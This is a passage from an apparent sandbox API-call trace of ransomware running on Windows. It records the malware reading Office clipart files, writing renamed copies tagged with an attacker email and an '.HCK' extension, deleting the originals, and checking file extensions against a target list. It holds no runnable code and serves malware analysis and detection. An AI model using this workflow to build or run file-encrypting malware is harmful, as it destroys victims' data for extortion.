Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.056] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6078) returned 1 [0172.056] CloseHandle (hObject=0x394) returned 1 [0172.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf")) returned 0x220 [0172.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0172.065] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.065] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.068] GetLastError () returned 0x0 [0172.068] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x17be, lpOverlapped=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0172.071] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.071] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.071] SetEndOfFile (hFile=0x394) returned 1 [0172.074] CloseHandle (hObject=0x394) returned 1 [0172.074] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.074] SetEndOfFile (hFile=0x37c) returned 1 [0172.078] CloseHandle (hObject=0x37c) returned 1 [0172.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf")) returned 1 [0172.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.081] lstrlenW (lpString=".doc") returned 4 [0172.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.081] lstrlenW (lpString=".docx") returned 5 [0172.081] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.081] lstrlenW (lpString=".pdf") returned 4 [0172.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.081] lstrlenW (lpString=".xls") returned 4 [0172.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.081] lstrlenW (lpString=".xlsx") returned 5 [0172.081] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.081] lstrlenW (lpString=".ppt") returned 4 [0172.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.081] lstrlenW (lpString=".zip") returned 4 [0172.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.081] lstrlenW (lpString=".rar") returned 4 [0172.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.081] lstrlenW (lpString=".bz2") returned 4 [0172.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.081] lstrlenW (lpString=".7z") returned 3 [0172.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.081] lstrlenW (lpString=".dbf") returned 4 [0172.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.081] lstrlenW (lpString=".1cd") returned 4 [0172.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.081] lstrlenW (lpString=".jpg") returned 4 [0172.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.082] lstrlenW (lpString=".doc") returned 4 [0172.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.082] lstrlenW (lpString=".docx") returned 5 [0172.082] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.082] lstrlenW (lpString=".pdf") returned 4 [0172.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.082] lstrlenW (lpString=".xls") returned 4 [0172.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.082] lstrlenW (lpString=".xlsx") returned 5 [0172.082] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.082] lstrlenW (lpString=".ppt") returned 4 [0172.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.082] lstrlenW (lpString=".zip") returned 4 [0172.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.082] lstrlenW (lpString=".rar") returned 4 [0172.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.082] lstrlenW (lpString=".bz2") returned 4 [0172.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.082] lstrlenW (lpString=".7z") returned 3 [0172.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.082] lstrlenW (lpString=".dbf") returned 4 [0172.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.082] lstrlenW (lpString=".1cd") returned 4 [0172.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF") returned 68 [0172.082] lstrlenW (lpString=".jpg") returned 4 [0172.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.082] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.082] lstrlenW (lpString="J0296277.WMF") returned 12 [0172.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.089] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=58412) returned 1 [0172.089] CloseHandle (hObject=0x38c) returned 1 [0172.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf")) returned 0x220 [0172.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.098] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.098] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0172.101] GetLastError () returned 0x0 [0172.101] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xe42c, lpOverlapped=0x0) returned 1 [0172.105] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe430, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe430, lpOverlapped=0x0) returned 1 [0172.106] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.106] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.106] SetEndOfFile (hFile=0x354) returned 1 [0172.111] CloseHandle (hObject=0x354) returned 1 [0172.115] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.115] SetEndOfFile (hFile=0x308) returned 1 [0172.118] CloseHandle (hObject=0x308) returned 1 [0172.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf")) returned 1 [0172.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.123] lstrlenW (lpString=".doc") returned 4 [0172.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.123] lstrlenW (lpString=".docx") returned 5 [0172.123] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0172.123] lstrlenW (lpString=".pdf") returned 4 [0172.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.123] lstrlenW (lpString=".xls") returned 4 [0172.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.123] lstrlenW (lpString=".xlsx") returned 5 [0172.123] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0172.124] lstrlenW (lpString=".ppt") returned 4 [0172.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.124] lstrlenW (lpString=".zip") returned 4 [0172.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.124] lstrlenW (lpString=".rar") returned 4 [0172.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString=".bz2") returned 4 [0172.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString=".7z") returned 3 [0172.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.124] lstrlenW (lpString=".dbf") returned 4 [0172.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.124] lstrlenW (lpString=".1cd") returned 4 [0172.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.124] lstrlenW (lpString=".jpg") returned 4 [0172.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.124] lstrlenW (lpString=".doc") returned 4 [0172.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString=".docx") returned 5 [0172.124] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0172.124] lstrlenW (lpString=".pdf") returned 4 [0172.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString=".xls") returned 4 [0172.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.124] lstrlenW (lpString=".xlsx") returned 5 [0172.124] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0172.124] lstrlenW (lpString=".ppt") returned 4 [0172.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.124] lstrlenW (lpString=".zip") returned 4 [0172.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.124] lstrlenW (lpString=".rar") returned 4 [0172.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString=".bz2") returned 4 [0172.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.124] lstrlenW (lpString=".7z") returned 3 [0172.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.125] lstrlenW (lpString=".dbf") returned 4 [0172.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.125] lstrlenW (lpString=".1cd") returned 4 [0172.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF") returned 68 [0172.125] lstrlenW (lpString=".jpg") returned 4 [0172.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.125] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.125] lstrlenW (lpString="J0297725.WMF") returned 12 [0172.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.128] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=16950) returned 1 [0172.128] CloseHandle (hObject=0x384) returned 1 [0172.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf")) returned 0x220 [0172.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.134] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.134] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.138] GetLastError () returned 0x0 [0172.138] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4236, lpOverlapped=0x0) returned 1 [0172.139] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4240, lpOverlapped=0x0) returned 1 [0172.141] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.141] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.141] SetEndOfFile (hFile=0x384) returned 1 [0172.144] CloseHandle (hObject=0x384) returned 1 [0172.145] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.145] SetEndOfFile (hFile=0x2fc) returned 1 [0172.150] CloseHandle (hObject=0x2fc) returned 1 [0172.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf")) returned 1 [0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.154] lstrlenW (lpString=".doc") returned 4 [0172.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.154] lstrlenW (lpString=".docx") returned 5 [0172.154] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0172.154] lstrlenW (lpString=".pdf") returned 4 [0172.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.154] lstrlenW (lpString=".xls") returned 4 [0172.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.154] lstrlenW (lpString=".xlsx") returned 5 [0172.154] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0172.154] lstrlenW (lpString=".ppt") returned 4 [0172.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.154] lstrlenW (lpString=".zip") returned 4 [0172.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.154] lstrlenW (lpString=".rar") returned 4 [0172.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.154] lstrlenW (lpString=".bz2") returned 4 [0172.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.154] lstrlenW (lpString=".7z") returned 3 [0172.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.154] lstrlenW (lpString=".dbf") returned 4 [0172.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.154] lstrlenW (lpString=".1cd") returned 4 [0172.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.154] lstrlenW (lpString=".jpg") returned 4 [0172.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.154] lstrlenW (lpString=".doc") returned 4 [0172.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.154] lstrlenW (lpString=".docx") returned 5 [0172.154] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0172.154] lstrlenW (lpString=".pdf") returned 4 [0172.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.154] lstrlenW (lpString=".xls") returned 4 [0172.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.154] lstrlenW (lpString=".xlsx") returned 5 [0172.155] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0172.155] lstrlenW (lpString=".ppt") returned 4 [0172.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.155] lstrlenW (lpString=".zip") returned 4 [0172.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.155] lstrlenW (lpString=".rar") returned 4 [0172.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.155] lstrlenW (lpString=".bz2") returned 4 [0172.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.155] lstrlenW (lpString=".7z") returned 3 [0172.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.155] lstrlenW (lpString=".dbf") returned 4 [0172.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.155] lstrlenW (lpString=".1cd") returned 4 [0172.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF") returned 68 [0172.155] lstrlenW (lpString=".jpg") returned 4 [0172.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.155] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.155] lstrlenW (lpString="J0300862.WMF") returned 12 [0172.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.159] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17796) returned 1 [0172.159] CloseHandle (hObject=0x394) returned 1 [0172.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft 